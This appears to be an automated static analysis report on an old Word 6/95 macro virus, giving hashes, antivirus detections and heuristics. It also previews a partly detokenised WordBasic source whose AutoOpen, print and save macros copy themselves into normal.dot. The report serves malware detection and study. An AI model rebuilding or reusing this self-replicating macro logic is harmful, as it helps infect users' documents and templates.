Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5c464733b0d2292…

MALICIOUS

Office (OLE)

7.0 KB First seen: 2012-06-14
MD5: e4717395b522fb67ce4959aaa7944f90 SHA-1: 7a3b552b9c95966855cc04117fad87b4fae4a548 SHA-256: d5c464733b0d2292a857f637a4578b97b4ed4d41d65766e4615b1b996267ee23
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as a legacy WordBasic macro virus, specifically a "RSN MACRO VIRUS Goat file". The presence of legacy macro virus markers and the explicit mention of "RSN MACRO VIRUS" in the document body strongly suggest malicious intent related to macro execution. The file likely aims to spread itself or execute arbitrary code through these legacy macros.

Heuristics 3

  • ClamAV: Win.Trojan.Noprint-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Noprint-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 925 bytes
SHA-256: 0b9fa450fe436afcdd6a1cb5ed479037b14781d1edea0dad058c8b77ba355ea5
Preview script
First 1,000 lines of the extracted script
, , =  
  25964  
30060 @cmd6e65  
  25964    
  26465 =
MAIN
@cmd80b7 1 0
Q$ = @cmd8025
Z$ = @cmd818c 2 = "\normal.dot"
@cmd00de , = Q$ , = Z$ ,
= "AutoOpen" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiDrucken" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiDruckenStandard" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiSpeichern" , = 3
@cmd0054 = 1
@cmd80b7 1 = 0
Z$ = @cmd8025
Q$ = @cmd818c 2 = "\normal.dot"
@cmd00de , = Q$ , = Z$ ,
= "AutoOpen" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiDrucken" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiDruckenStandard" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiSpeichern" , = 3
@cmd80a3 1 , 1
MAIN
@cmd0058
MAIN
@cmd0054 = 1
@cmd80b7 1 = 0
Z$ = @cmd8025
Q$ = @cmd818c 2 = "\normal.dot"
@cmd00de , = Q$ , = Z$ ,
= "AutoOpen" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiDrucken" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiDruckenStandard" , = 3
@cmd00de , = Q$ , = Z$ ,
= "DateiSpeichern" , = 3
@cmd80a3 1 , 1
MAIN
@cmd0058

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